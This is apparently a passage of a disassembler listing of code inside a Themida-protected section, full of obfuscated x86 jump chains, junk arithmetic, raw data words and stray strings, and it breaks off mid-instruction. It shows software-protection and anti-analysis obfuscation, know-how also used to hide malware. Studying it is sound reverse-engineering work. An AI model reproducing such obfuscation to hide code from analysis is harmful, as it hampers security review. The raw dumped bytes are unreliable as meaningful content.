--------------------------------------------------------------------------- dw 0E589h dd 4C581h, 8DE90000h db 20h, 2 dup(0) ; --------------------------------------------------------------------------- loc_54BECB: ; CODE XREF: Themida_:00550F6Ej add esi, ecx add esi, 21D51053h jmp loc_54B004 ; --------------------------------------------------------------------------- dd 24048B66h, 8904EC83h, 0E789243Ch, 4C781h, 68500000h dd 2, 0E92434FFh, 0FFFFC16Ah, 16BA525Ah, 0E9661C58h, 27B8h ; --------------------------------------------------------------------------- loc_54BF04: ; CODE XREF: Themida_:0054F46Cj add edx, 5564152Eh not edx xor edx, 3E5E74B7h add edx, 1C7A22DDh shr edx, 2 push edi mov edi, 0B340B848h xor edx, edi pop edi jmp loc_547724 ; --------------------------------------------------------------------------- db 0F7h, 0DDh, 57h dd 5DAFBEBFh, 5FFD31B0h, 46FEF81h, 0C7815DABh, 69D37487h dd 87E9EF29h db 31h, 2 dup(0) ; --------------------------------------------------------------------------- loc_54BF47: ; CODE XREF: Themida_:0054A58Cj xchg edx, [esp] pop esp jmp loc_54B4D9 ; --------------------------------------------------------------------------- loc_54BF50: ; CODE XREF: Themida_:005500D9j push ebx jmp loc_5473E5 ; --------------------------------------------------------------------------- dw 34FFh dd 240C8B24h, 5104C483h, 5098E9h, 7E0C100h, 5F260405h dd 58C18902h, 3B29122Dh, 5C8297Ch, 7C3B2912h, 608E9h, 68CB0100h dd 697Dh, 0E9240C89h, 4D46h, 5C243487h, 0B198E953h, 0C681FFFFh dd 7DD15644h, 4A68FE01h, 89000078h, 8AE92414h, 80FFFFB0h dd 0E8308FC5h, 7B65259h, 0C026EE80h, 0C68006EEh, 0BBF7E965h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_54BFC6: ; CODE XREF: Themida_:00551BDEj mov [edi+eax*4+1], bl pop ebx mov ecx, [esp] add esp, 4 jmp loc_545D94 ; --------------------------------------------------------------------------- loc_54BFD6: ; CODE XREF: Themida_:0054F078j push esi pop edi push dword ptr [esp] pop esi add esp, 4 add edx, edi jmp loc_548717 ; --------------------------------------------------------------------------- db 81h, 0C9h, 0F2h dd 8171E029h, 8F2604E9h, 0E9CB292Dh, 0FFFFFDFBh, 5A685351h dd 5B23BB04h, 0BB045EB9h, 3BC18123h, 2924AF1Ch, 3BE981D9h dd 5B24AF1Ch, 4594E9h, 1FBB5300h, 178E0D0h, 0D3015BDAh dd 9DD2E95Ah, 0C481FFFFh, 4, 550AE9C1h, 4EC81h, 0F8E90000h dd 81000005h, 7B367FF3h, 5BD9313Bh, 8159CB01h, 4EBh, 241C8700h dd 0D1B4E95Ch, 2B8FFFFh, 81000000h, 0B274A2C6h, 81C6293Dh dd 0B274A2EEh, 3487583Dh, 89665C24h, 15E92404h, 89FFFF9Dh dd 0D34EE9D7h, 489FFFFh, 4BF3B824h, 0EC0D2C93h, 2D256632h dd 7AC925CAh, 0FBBA5251h, 81143826h, 0DE0CB5CAh, 3834E940h dd 19B50000h, 0FFFD19E9h db 0FFh ; --------------------------------------------------------------------------- loc_54C0B1: ; CODE XREF: Themida_:005483D9j add [esp+4], edi pop edi jmp loc_54BD82 ; --------------------------------------------------------------------------- db 89h dd 2FB02404h, 0C228DEB2h, 0C0D2F658h, 0EA8006E2h, 0BCB45050h dd 30E0EC80h, 0EAC058E2h, 90F28006h, 805AD300h, 0CB00D0C3h dd 4D4BE9h, 0E9D93100h, 0FFFFA4B1h ; --------------------------------------------------------------------------- loc_54C0F0: ; CODE XREF: Themida_:00549893j xor ebx, 44823569h not ebx shr ebx, 4 sub ebx, 2CDC089Ah jmp loc_54BB66 ; --------------------------------------------------------------------------- dw 0D1B6h dd 0FFE637E9h, 585950FFh, 9FE9CB89h, 43000043h, 0F60DC381h dd 0DE313223h, 5C6815Bh, 0E95ABF6Bh, 0FFFFDDA8h, 515DEA01h dd 3167E9h, 40BF5700h, 0C100EC3Ch, 0D7F705EFh, 4F06EFC1h dd 0C781DFF7h, 320B3ED8h, 15FF801h, 24048BC2h, 4C481h dd 14870000h, 24D25C24h, 2DE99C24h, 1FFFF9Ch, 3767E9F8h db 2 dup(0) ; --------------------------------------------------------------------------- loc_54C16E: ; CODE XREF: Themida_:0054A311j mov ebx, 4B4A3CA9h shl ebx, 8 neg ebx push edx mov edx, 0FFFFFFFFh add ebx, edx jmp loc_54F460 ; --------------------------------------------------------------------------- db 5Ah, 83h, 0C4h dd 24048F04h, 0E924248Bh, 0FFFFEC1Dh, 6C5CEE81h, 1C8B7A65h dd 4C48124h, 0E9000000h, 0FFFFCAE1h, 1E9C589h, 0BAFFFFFDh dd 1D52049Dh, 2A5FC281h, 53564183h, 4EC81h, 2FE90000h dd 1FFFFC3h, 9FE958C3h db 0D8h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_54C1CF: ; CODE XREF: Themida_:005512EBj mov [esp], ebx push dword ptr [esp] push dword ptr [esp] pop eax push 2991h mov [esp], eax mov eax, esp add eax, 4 add eax, 4 xchg eax, [esp] pop esp sub esp, 4 mov [esp], edi jmp loc_548B58 ; --------------------------------------------------------------------------- loc_54C1FD: ; CODE XREF: Themida_:005476B4j pop dword ptr [esp] mov esp, [esp] mov [esp], ecx mov ch, dl push ebx jmp loc_549257 ; --------------------------------------------------------------------------- dw 0F101h aBscmGs db 'ιζm΄Gι',27h,'\',0 dw 5E00h dd 0FFE906E9h, 4EC83FFh, 0E9242489h, 0FFFFA1E5h, 8AE9E589h dd 56000006h, 0DCE9E689h, 6800003Bh, 1273h, 533CE9h, 5AF18800h dd 24B4E95Bh, 34FF0000h, 0C4815824h, 4, 8E68C328h, 89000069h dd 0EC832414h, 240C8904h, 0CA88C2B1h, 1214E9h, 0FEE95B00h dd 0C1FFFFD3h, 25E905EFh, 8900002Dh, 4832424h, 505B0424h dd 0A1676DB8h, 9897052Ch, 30E9D35Eh db 3 dup(0FFh) ; --------------------------------------------------------------------------- loc_54C297: ; CODE XREF: Themida_:0054C59Fj sub edi, 7F654E58h jmp loc_54EDC1 ; --------------------------------------------------------------------------- dw 0C87h dd 2C335C24h, 242C3124h, 5C242C33h, 9C240431h, 0FF9ADBE9h db 0FFh ; --------------------------------------------------------------------------- loc_54C2B9: ; CODE XREF: Themida_:00546836j mov edx, 0DE88D48Eh jmp loc_54799D ; --------------------------------------------------------------------------- loc_54C2C3: ; CODE XREF: Themida_:0054F95Bj add ebx, 4 push eax mov eax, 4 add ebx, eax pop eax jmp loc_54AE11 ; --------------------------------------------------------------------------- db 0FFh dd 57592434h, 0C781E789h, 4, 0E904C783h, 0FFFFF3F6h, 0C8BCE30h dd 0D491E924h, 415EFFFFh, 0BD55D9F7h, 46C85DFEh, 348E9h dd 240C8B00h, 4C481h, 0C3280000h, 4EC81h, 0C890000h, 5234B124h dd 4EC81h, 94E90000h, 68FFFFFDh, 2D7Ah, 0E9241489h, 1651h dd 0E9C80166h, 0FFFFC3B2h, 0E9C0B60Fh, 0FFFFDA76h, 4C1B353h dd 288D2C47h, 668D04D8h, 665B1468h, 0B6241489h, 66F02847h dd 2434FF5Ah, 8B2434FFh, 0C481241Ch, 4, 81E78957h, 4C7h dd 4C78300h, 5C243C87h, 3002E9h, 24348900h, 5F2434FFh dd 8B04C483h, 0C4832434h, 8BFA8904h, 9FE9243Ch, 53000036h dd 23BE9h, 2DC80100h, 36F707E4h, 50240C8Bh, 0F2E9E089h dd 8100005Ah, 4C3h, 4EB8300h, 5C241C87h, 0B63E9h, 0C8B6600h dd 34966824h, 3C890000h, 9FE95424h, 66000040h, 661598BDh dd 66FFC583h, 0EE03ED81h, 0E9EB0166h, 0FFFF9D95h, 8892F281h dd 0D609216Bh, 8124148Bh, 4C4h, 0BCC68100h, 3117329Dh dd 0E9555EF7h, 0FFFFB24Ch, 80C3815Ah, 0E90E5A5Bh, 0FFFFA140h ; --------------------------------------------------------------------------- loc_54C418: ; CODE XREF: Themida_:00551F12j push eax push 20614DFh pop eax sub eax, 87F8F1EDh mov ecx, eax mov eax, [esp] add esp, 4 or esi, ecx mov ecx, [esp] jmp loc_54E4C7 ; --------------------------------------------------------------------------- db 0BAh, 4, 0 dd 0D1290000h, 79DE685Ah, 0C890000h, 2474FF24h, 48F5904h dd 4895C24h, 24148B24h, 0E904EC83h, 4C6Fh, 0E903EDC1h dd 0FFFFC983h ; --------------------------------------------------------------------------- loc_54C468: ; CODE XREF: Themida_:0054A251j pop esp add eax, 1 push ebx mov ebx, 24h sub ebx, 53C84E00h add ebx, edi add ebx, 53C84E00h jmp loc_547BAE ; --------------------------------------------------------------------------- db 66h, 8Bh, 4 aPs_0 db '$Pι^=',0 dw 100h dd 2434FFD8h, 81241C8Bh, 4C4h, 4C48300h, 205h, 24048700h dd 6624248Bh, 9C240421h, 0FF98DFE9h, 665859FFh, 0B6A5E951h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_54C4BE: ; CODE XREF: Themida_:0054FBC3j mov ecx, esp push 6E45h jmp loc_54F4F2 ; --------------------------------------------------------------------------- aRsmz db 'Rι¬Z',0 align 10h dd 240C8B5Ah, 55E78957h, 4BDh, 5DEF0100h, 4BE5651h, 89000000h dd 0CF015EF1h, 243C8759h, 6824248Bh, 1379h, 0E9240489h dd 0FFFF9894h, 0E9240487h, 230Fh ; --------------------------------------------------------------------------- loc_54C508: ; CODE XREF: Themida_:0054BE10j pop eax pop ebx and ebx, eax jmp loc_550613 ; --------------------------------------------------------------------------- db 1, 0F2h, 81h dd 497835EAh, 55505E1Ch, 0A75B9068h, 0C5815D5Fh, 0A058A474h dd 0E95DE889h, 0FFFFF6B0h, 0A5E6E957h, 0EC81FFFFh, 4, 0E9240C89h dd 1CB3h, 0B8505F5Ah, 2, 0FFB4F3E9h, 0C8E958FFh, 28FFFFE4h dd 66A72CD8h, 57241C8Bh, 0C781E789h, 4, 8702C783h, 248B243Ch dd 28CB2C24h, 4CB04D8h, 0C66866FEh, 14896670h, 74B55124h dd 55ECE9h, 240C8B00h, 8704C483h, 0B1E92404h db 0Ch, 2 dup(0) ; --------------------------------------------------------------------------- loc_54C597: ; CODE XREF: Themida_:0054DE3Cj add edi, 7F654E58h sub edi, ecx jmp loc_54C297 ; --------------------------------------------------------------------------- dd 24048B66h, 0E9E78957h, 4C08h, 904C483h, 5E840FC0h, 0FF000052h dd 0C8B1C77h, 4EC8124h, 89000000h, 89E92404h, 5EFFFFBDh dd 0FFF406E9h, 0E99C51FFh, 3990h, 622E93BBh, 0D8E95204h dd 0FFFFFFEBh, 8B042474h, 0C483240Ch, 24048F04h, 0AD21E95Ch dd 0E956FFFFh, 3048h ; --------------------------------------------------------------------------- loc_54C600: ; CODE XREF: Themida_:0054D4E0j sub esp, 4 jmp loc_54941D ; --------------------------------------------------------------------------- db 8Bh dd 0C4832414h, 0C1DAF704h, 0E2D105EAh, 0C716F281h, 0D589245Dh dd 0E9E8015Ah, 0FFFFEFD1h, 107EBBEh, 4ED6F73Ch, 0DE87D6F7h dd 37E9D3F7h, 89FFFFF6h, 5A532414h, 148BD589h, 0E1895124h dd 0FFBF18E9h, 0B85045FFh, 4A3A3042h, 0FFA2BBE9h, 0D831ADFFh dd 0FFE05CE9h, 241489FFh, 44408DBAh, 6F5E917h, 9C040000h dd 3634E952h, 315E0000h, 9B29E9F8h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_54C67E: ; CODE XREF: Themida_:00549C1Cj push 35FFh mov [esp], ebx mov ebx, 1Ch sub ebx, 33506CECh add ebx, edi push 3216h mov [esp], edi mov edi, 633C12B9h sub edi, 1 sub edi, 49E062CFh jmp loc_548C28 ; --------------------------------------------------------------------------- loc_54C6AE: ; CODE XREF: Themida_:0054A70Aj add esp, 4 and eax, ebp push dword ptr [esp] pop ebp add esp, 4 or edx, eax jmp loc_54D8FA ; --------------------------------------------------------------------------- dd 9C240420h, 0FF96C7E9h, 22685AFFh, 89000020h, 5A542414h dd 4C281h, 7B680000h, 89000056h, 4BF243Ch, 81000000h, 0EE1FA0C2h dd 81FA0165h, 0EE1FA0EAh, 14335F65h, 45C6E924h, 0BA520000h dd 45720B82h, 0F447EA81h, 0D601D7F2h, 0EEC1595Ah, 47F68107h dd 811D0A33h, 0BA51C3EEh, 4AF68169h, 31EC6874h, 24348BF0h dd 53E28952h, 4BBh, 5BDA0100h, 0CA1FE957h, 0E958FFFFh dd 0FFFFEF6Dh, 0FD9AF581h, 0EF016DA7h, 599CE9h, 7E95000h db 0F9h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_54C757: ; CODE XREF: Themida_:00548A99j pop ecx jmp loc_54E6F1 ; --------------------------------------------------------------------------- db 81h, 0EAh, 1Ch dd 0E9F83E80h, 5A4h, 68h, 2C96E900h, 88BD0000h, 0C14EB32Eh dd 554D08E5h, 0FFDA36E9h, 2434FFFFh, 0FFC0C2E9h, 148B66FFh dd 2C48324h, 8016B652h, 4E2CD3EEh, 0F0006F2Ch, 52536F04h dd 0EE800AB6h, 0EFEBE9B2h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_54C7AA: ; CODE XREF: Themida_:00548D8Aj mov edi, ebp pop ebp xor [esp+4], edi pop edi jmp loc_5514CD ; --------------------------------------------------------------------------- db 55h dd 0FFEA75E9h, 241487FFh, 5524248Bh, 2BDh, 0E9E80100h dd 0FFFFF38Dh, 8B5BFD88h, 0AE92414h, 1FFFFADh, 0E3E95BDFh db 0Ah, 2 dup(0) ; --------------------------------------------------------------------------- loc_54C7E3: ; CODE XREF: Themida_:00551326j push ebx sub esp, 4 mov [esp], ecx mov ecx, 4BE02B21h push edx mov edx, 13C417A0h jmp loc_54FD7E ; --------------------------------------------------------------------------- dw 0E952h dd 0FFFFAD38h, 0E904C483h, 3E39h, 4C181h, 0C1810000h, 4 dd 5C240C87h, 0BBBD6655h, 0CD81662Fh, 8166530Eh, 667CECF5h dd 665DEE29h, 3A6BC681h, 0A9C2D66h, 52F02966h, 16DBA66h dd 0DE94266h, 66FFFFB7h, 50240C8Bh, 162668h, 39E95400h dd 89FFFFACh, 0F2B82404h, 0E9165A2Ah, 5164h, 0E9505B54h dd 0FFFFE064h ; --------------------------------------------------------------------------- loc_54C868: ; CODE XREF: Themida_:00546890j xor ebx, 31B3151Dh add ebx, 47B90ADFh jmp loc_54C8FA ; --------------------------------------------------------------------------- db 55h, 89h, 0FDh dd 0FFAD34E9h, 65802DFFh, 0E8291BF3h, 0F3658005h, 4875D1Bh dd 4895C24h, 85CB824h, 0C30144CFh, 582434FFh, 4C481h, 8F0000h dd 0FF94E7E9h, 243C89FFh, 55242C81h, 5A223171h, 0FFDF4FE9h dd 4C581FFh, 51000000h, 4B9h, 59CD0100h, 0FFA56AE9h, 58F580FFh dd 89E9E800h, 0BEFFFFD4h, 4, 4AACE9h, 94AAE900h, 77FFFFFFh dd 59669D1Ch, 2414D366h, 949AE99Ch db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_54C8FA: ; CODE XREF: Themida_:0054C874j and eax, ebx push dword ptr [esp] pop ebx add esp, 4 push ebx mov ebx, 366678AAh inc ebx sub ebx, 2A3E24EBh sub eax, ebx mov ebx, [esp] add esp, 4 mov edi, eax pop eax and eax, edi mov edi, [esp] jmp loc_54F7FC ; --------------------------------------------------------------------------- loc_54C925: ; CODE XREF: Themida_:00548140j mov ebx, 32BA369Fh add dword ptr [esp+4], 4C701F02h sub [esp+4], ebx sub dword ptr [esp+4], 4C701F02h pop ebx mov edx, [esp] jmp loc_54F117 ; --------------------------------------------------------------------------- align 4 aSU db 'ΓιΙU',0 align 2 loc_54C94E: ; CODE XREF: Themida_:005493CFj mov [edx+30h], esi push dword ptr [esp] pop esi add esp, 4 popa popf retn ; --------------------------------------------------------------------------- dw 31E9h dd 59FFFF94h, 1C8BD801h, 4C48124h, 0E9000000h, 0FFFFAA54h ; --------------------------------------------------------------------------- loc_54C974: ; CODE XREF: Themida_:00546E0Ej add esp, 4 add edx, ecx add [edx], esi jmp loc_54DB65 ; --------------------------------------------------------------------------- db 5 dd 1853F8Eh, 5A2434FFh, 0FFF00DE9h, 0C8B59FFh, 4C48124h dd 53000000h, 4F23E9h, 0C1DFF700h, 0BE5604E7h, 6ACE4EE6h dd 8103E6C1h, 0F77657F6h, 6CE6813Eh, 0C14E727Fh, 0CE8105E6h dd 0A1D388Ch, 9C88EE81h, 0F701879Ch, 0FFECB3E9h, 81E789FFh dd 4C7h, 4C78300h, 5C243C87h, 0FB468h, 24048900h, 2CF4E9h dd 48B6600h, 0E9545624h, 2D2Ch, 2EC99435h, 0C007E91Bh dd 0CE68FFFFh, 89000035h, 74FF240Ch, 8F590424h, 99E92404h db 0A4h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_54CA17: ; CODE XREF: Themida_:00548306j shr esi, 5 xor esi, 5A4B256Ah push edx push esi mov esi, 16BE47F5h mov edx, esi mov esi, [esp] add esp, 4 and edx, 153B53D4h add edx, 7542DDEh xchg esi, edx not esi jmp loc_547A3D ; --------------------------------------------------------------------------- loc_54CA47: ; CODE XREF: Themida_:0054D450j shr ecx, 2 sub esp, 4 mov [esp], ebp mov ebp, ebx mov eax, ebp push dword ptr [esp] mov ebp, [esp] add esp, 4 sub esp, 4 jmp loc_54F458 ; --------------------------------------------------------------------------- dw 895Ch dd 0B8502424h, 4, 4244401h, 0CC685B58h, 0E9000047h, 0FFFFFBD9h dd 0E94077FFh, 0FFFF9304h, 840FC009h, 0FFFF95FBh, 277868h dd 0A831E900h, 152DFFFFh, 5F12DF5Bh, 34FFC229h, 0C4835824h dd 24148704h, 8924248Bh, 0FB682414h, 89000024h, 0E956243Ch dd 0FFFFB0B3h, 24048B66h, 2C481h, 5660000h, 5660001h, 0FE95D92h dd 31FFFF95h, 240C8BC8h, 6804C483h, 73D2h, 0BD242C89h dd 17CC3097h, 0C581DDF7h, 776DA1B0h, 0EBE9EB29h, 89FFFFB8h dd 4C681E6h, 50000000h, 468h, 0C6015800h, 24348758h, 0FFAA6EE9h dd 1C77FFFFh, 0D359669Dh, 0E99C241Ch, 0FFFF9268h ; --------------------------------------------------------------------------- loc_54CB2C: ; CODE XREF: Themida_:005478EAj pop ecx add edi, edx mov edx, [esp] add esp, 4 jmp loc_54D4D6 ; --------------------------------------------------------------------------- aPsi db 'Pιi+',0 dw 8100h dd 860FFDF1h, 8E1C152h, 41ACE9h, 8841B100h, 0F33059CEh dd 0DC885A66h, 52241C8Bh, 0FFB3DEE9h db 0FFh ; --------------------------------------------------------------------------- loc_54CB65: ; CODE XREF: Themida_:0054BD9Dj jmp loc_545D94 ; --------------------------------------------------------------------------- dw 0C8Bh dd 9707E924h, 835DFFFFh, 0AFE904C4h, 31000020h, 1C33241Ch dd 24248B24h, 68C8BF0Fh, 334Dh, 0E9240C89h, 0FFFF9200h dd 0E904C283h, 55CFh, 4C48158h, 8F000000h, 665C2404h, 0E9240C8Bh dd 227Ch, 2C492CACh, 4311E90Ch, 875D0000h, 0EDE9241Ch dd 8100000Fh, 4C5h, 3528E900h, 1C870000h, 24248B24h, 5158E9h dd 78106800h, 0F7586D9Dh, 38302DD0h, 6C6891E3h, 8900002Eh dd 0C2892414h, 0FFC3A4E9h, 93B353FFh, 0FFD52FE9h, 24048FFFh dd 6624248Bh, 2404BB0Fh, 9186E99Ch db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_54CC0E: ; CODE XREF: Themida_:00546A14j mov eax, 6BC80CCEh xor [esp+4], eax mov eax, [esp] add esp, 4 mov ecx, [esp] add esp, 4 push edi push 44B5h mov [esp], ecx mov ecx, 67C15630h push ebp mov ebp, 406B69Eh jmp loc_546F43 ; --------------------------------------------------------------------------- dd 35E7CE81h, 0C6817561h, 3D70051Ah, 4CE9D6F7h, 81FFFFD8h dd 0EF7BF1E5h, 32B95143h, 0F75D6914h, 0C18141D1h, 47A85337h dd 8AF18141h, 810FF82Fh, 3FA6CCF1h, 0E9CD01DDh, 2069h dd 763BE56h, 0E6810218h, 55AB29BFh, 7091F681h, 0E946275Fh dd 0FFFFE54Fh, 31241C33h, 1C33241Ch, 4EACE924h, 0E9500000h dd 3FAAh ; --------------------------------------------------------------------------- loc_54CCA4: ; CODE XREF: Themida_:00550D9Aj pop eax push edx jmp loc_54E68C ; --------------------------------------------------------------------------- db 0E9h dd 0FFFF90E4h ; --------------------------------------------------------------------------- loc_54CCB0: ; CODE XREF: Themida_:0054BDC5j neg ecx add ecx, 0A033C3E8h add ebx, ecx pop ecx sub ebx, 179463F8h add ebx, 2D2245E6h push dword ptr [ebx] mov eax, [esp] jmp loc_550785 ; --------------------------------------------------------------------------- db 66h, 8Bh, 4 dd 5B0C6824h, 0C890000h, 68595424h, 6597h, 68243C89h, 4 dd 2EF3E9h, 242CD300h, 0A62AE99Ch db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_54CCFA: ; CODE XREF: Themida_:00551774j mov cx, [esp] jmp loc_5474B8 ; --------------------------------------------------------------------------- aASSb db 'AΑα',8,'ιb"',0 align 4 dd 0E5E9D329h db 0F1h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_54CD13: ; CODE XREF: Themida_:0054AAD2j sub ebx, 245C1CF3h add ebx, 8E0C4Ah jmp loc_549FC2 ; --------------------------------------------------------------------------- dd 95E9565Ah, 81FFFFC2h, 0F12E9BC7h, 242C8B19h, 0FFD858E9h dd 5BDE68FFh, 34890000h, 2918BE24h, 0DEF74983h, 46F1BB53h dd 0E94B6D34h, 0FFFFC6A9h, 0E2895258h, 4C281h, 8BE90000h dd 81FFFFC5h, 0BBBF77C2h, 22AE9E8h, 0F8010000h, 8904EC83h dd 0D1BA2414h, 143D305h, 685F5AD0h, 5A43h, 0E9240C89h dd 208Bh, 5BD8295Eh, 0BB53D801h, 58561C1Bh, 29A8E381h dd 0D3F731C7h, 7DF6EB81h, 2E93CEAh, 0B9FFFFDBh, 4, 29E9CB01h db 2, 2 dup(0) ; --------------------------------------------------------------------------- loc_54CDB7: ; CODE XREF: Themida_:0054CE9Bj not edx inc edx add edx, 1EFD54EDh xor edx, 82A1AB8Fh push edi jmp loc_550A51 ; --------------------------------------------------------------------------- dd 8158C101h, 6860C5C3h, 0E9CB291Ah, 0FFFFE812h, 8E3C158h dd 0EB81D3F7h, 4CF18FD2h, 8306E3C1h, 0BA5201C3h, 2CC233D7h dd 0FFBACFE9h, 8BE328FFh, 0C4832404h, 0C1885104h, 0E06EE950h dd 0E951FFFFh, 0FFFFA021h, 5624348Bh, 0C681E689h, 4, 3304C683h dd 34312434h, 24343324h, 242C8B5Ch, 4C481h, 12680000h dd 8900007Bh, 0F268241Ch, 8B32C717h, 40E9241Ch, 5AFFFFDAh dd 4A10E950h db 2 dup(0) ; --------------------------------------------------------------------------- loc_54CE4E: ; CODE XREF: Themida_:0054D07Aj push edi xchg ecx, [esp] not ecx xchg ecx, [esp] pop edi xor ecx, edi xor edi, ecx xor ecx, edi xchg ecx, [esp] mov ecx, [esp] add esp, 4 xor eax, ecx xor ecx, eax xor eax, ecx push 4794h mov [esp], edi push 1 pop edi and eax, edi push dword ptr [esp] mov edi, [esp] jmp loc_54FBBF ; --------------------------------------------------------------------------- db 5 dd 4, 42Dh, 0D2AEE900h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_54CE9A: ; CODE XREF: Themida_:0054EC25j pop ecx jmp loc_54CDB7 ; --------------------------------------------------------------------------- dd 4BAh, 0EDDE900h, 0C7810000h, 4, 0E9243C87h, 2AC7h, 5C242C87h dd 0B8240489h, 735668D4h, 1C95E9h, 4C48100h, 8F000000h dd 34FF2404h, 6AE95824h, 5AFFFFEAh, 31241C33h, 1C33241Ch dd 0C4835C24h, 99B85004h, 112FE46h, 0DAF6E9C1h, 0EF81FFFFh dd 4, 5C243C87h, 81242C89h, 4ECh, 24048900h, 0FF9B15E9h dd 8E7EE9FFh, 815FFFFFh, 42344BE7h, 0B3EF8130h, 0E9123B52h dd 461Bh, 55243489h, 86016ABDh, 7D60BE23h, 0EE312F59h dd 24BD555Dh, 0E9578D1Eh, 0FFFF995Dh, 34FFE989h, 0C4835D24h dd 40C18104h, 12BCA57h, 40E981F9h, 0FF2BCA57h, 75E95231h dd 68FFFFBAh, 6303h, 1F30E9h, 53E18900h, 7F1572BBh, 4A2BE93Ch dd 0C6810000h, 416C122Dh, 0FFD78AE9h, 55E681FFh, 0E9639B2Fh dd 4A96h, 0E9E28952h, 0FFFFBF10h, 555AD301h, 2BDh, 40EB8100h dd 15EE462h, 40BE56EBh, 15EE462h, 3E95EF3h, 5FFFFFCh, 76A15CB5h dd 0B52DD001h, 8B76A15Ch, 0C4812414h, 4, 0FFF13CE9h, 0AAE95AFFh dd 6600003Ah, 0E99CC885h, 0FFFF8DB4h, 241C3359h, 33241C31h dd 65E9241Ch, 52FFFFB8h, 468h, 0C7815A00h, 4EA505F7h, 0EF81D701h dd 4EA505F7h, 8124148Bh, 4C4h, 243C8700h, 4446E9h, 9EBA5200h dd 0E917727Ch, 0FFFFAFD8h, 240C8B66h, 51E08950h, 0C181E189h dd 4, 0FF91AEE9h, 5FFB89FFh, 58B7B850h, 0BDE95AD7h db 0D9h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_54D043: ; CODE XREF: Themida_:0054783Fj mov eax, esp add eax, 4 add eax, 4 xchg eax, [esp] mov esp, [esp] xor ecx, 0FAEF9E5Ah and eax, ecx pop ecx shr eax, 0Eh xor eax, ecx xor eax, ecx xor ecx, eax xor eax, ecx push 750Eh mov [esp], ecx xchg ecx, [esp] xor ecx, edi xor edi, ecx xor ecx, edi jmp loc_54CE4E ; --------------------------------------------------------------------------- db 50h dd 7D0834B8h, 0F7CE055Ch, 0C101A382h, 3512E9h, 0E9F30100h dd 0FFFF9232h, 81240C8Bh, 4C4h, 0FB28E900h, 0DAF7FFFFh dd 60A5EA81h, 0D3019A60h, 2CC3815Ah, 2D2C7DA4h, 5454229Bh dd 9B05D801h, 5B545422h, 0F22DD829h, 0E90CF21Ah, 0DC8h dd 8704C183h, 0F5C240Ch, 34FFC0B6h, 2434FF87h, 0E7895758h dd 0FFBEC6E9h, 0E95450FFh, 3E89h, 3C8B5B5Ah, 4AADE924h dd 50660000h, 3F82B866h, 0FFAD05E9h, 0C8B66FFh, 0C946824h dd 2C890000h, 2C8B5424h, 4C48324h, 0FFC620E9h, 46B951FFh dd 0F706702Dh, 25C181D9h, 52148A3h, 36F707E4h, 0FFF26CE9h dd 0B4E954FFh db 0DDh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_54D13B: ; CODE XREF: Themida_:00548C67j mov edi, 1505A4Eh or ebx, edi mov edi, [esp] add esp, 4 sub ebx, 355D7FFAh mov esi, ebx mov ebx, [esp] add esp, 4 add ebp, esi push dword ptr [esp] jmp loc_54FE55 ; --------------------------------------------------------------------------- aMh8 db '¬h^8',0 dd 242C8900h, 0A7E9E589h, 33000048h, 665C2414h, 2404AB0Fh dd 8C12E99Ch, 3C89FFFFh, 0E9E78924h, 0FFFF9B65h, 9C240CFEh dd 0FF8BFFE9h, 58C289FFh, 8103E2C1h, 8A4571C2h, 0A9C2814Ch dd 1467A03h, 24148BD6h, 0B32E9h, 0F7DAF700h, 85C281D2h dd 0E944153Ah, 1979h, 42474FFh, 24048F59h, 824248Bh, 0E99C2404h dd 0FFFF8BC0h, 0E904C483h, 0FFFFA975h, 525FF801h, 0E75861BAh dd 5AD02107h, 3650BE56h, 0F001FDBAh, 87C2815Eh, 0E97F5E67h dd 2D0Eh, 8B24048Fh, 89662424h, 89E9240Ch db 8Bh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_54D20B: ; CODE XREF: Themida_:00551AC4j pop esi add esi, 4 jmp loc_5479AD ; --------------------------------------------------------------------------- db 0C1h dd 0C58106EDh, 0FFDACB88h, 2E6AE9h db 0 ; --------------------------------------------------------------------------- loc_54D225: ; CODE XREF: Themida_:0054A44Ej mov [esp], dx push ecx mov cl, 0CBh add cl, 0AEh jmp loc_54A1A8 ; --------------------------------------------------------------------------- dd 12E96866h, 0C4E95466h, 5CFFFFD2h, 0E9241C89h, 0FFFFA8B1h dd 0BFF3E95Ch, 0D521FFFFh, 0FFE9565Ah, 0ADFFFFCFh, 7968D831h dd 89000073h, 0E952242Ch, 1E2Bh, 0DBE95859h, 0BDFFFFDBh dd 52350379h, 382AF581h, 0E94D699Bh, 2059h, 8FC0B60Fh dd 9E98704h db 8Bh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_54D28B: ; CODE XREF: Themida_:00549782j and ebp, eax jmp loc_54660C ; --------------------------------------------------------------------------- dw 0C681h dd 4, 8704EE83h, 895C2434h, 13BB241Ch, 81168818h, 1504246Ch dd 16FF365h, 8104245Ch, 15042444h, 5B6FF365h, 4A3D68h dd 270BE900h, 3C870000h, 0D3665C24h, 0E99C240Ch, 0FFFF8AC0h dd 2648B8B8h, 0E9C7291Eh, 0FFFFAAD8h ; --------------------------------------------------------------------------- loc_54D2E0: ; CODE XREF: Themida_:0054E12Bj shr eax, 12h xor eax, ecx push eax jmp loc_551562 ; --------------------------------------------------------------------------- loc_54D2EB: ; CODE XREF: Themida_:00551B3Bj mov ebx, 5EF40FB1h jmp loc_54A1EA ; --------------------------------------------------------------------------- db 68h, 78h, 5Fh dd 15E90000h, 58FFFFDAh, 0FFEF36E9h db 0FFh ; --------------------------------------------------------------------------- loc_54D305: ; CODE XREF: Themida_:00546581j mov eax, 1D400D0Fh or eax, 36572F9Dh or eax, 47B601CCh jmp loc_54FFA1 ; --------------------------------------------------------------------------- db 56h, 68h, 4Ah dd 8B381B2Dh, 6AE92434h db 0A4h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_54D327: ; CODE XREF: Themida_:00551802j add ebx, 5BCB2834h shr ebx, 2 push ebx jmp 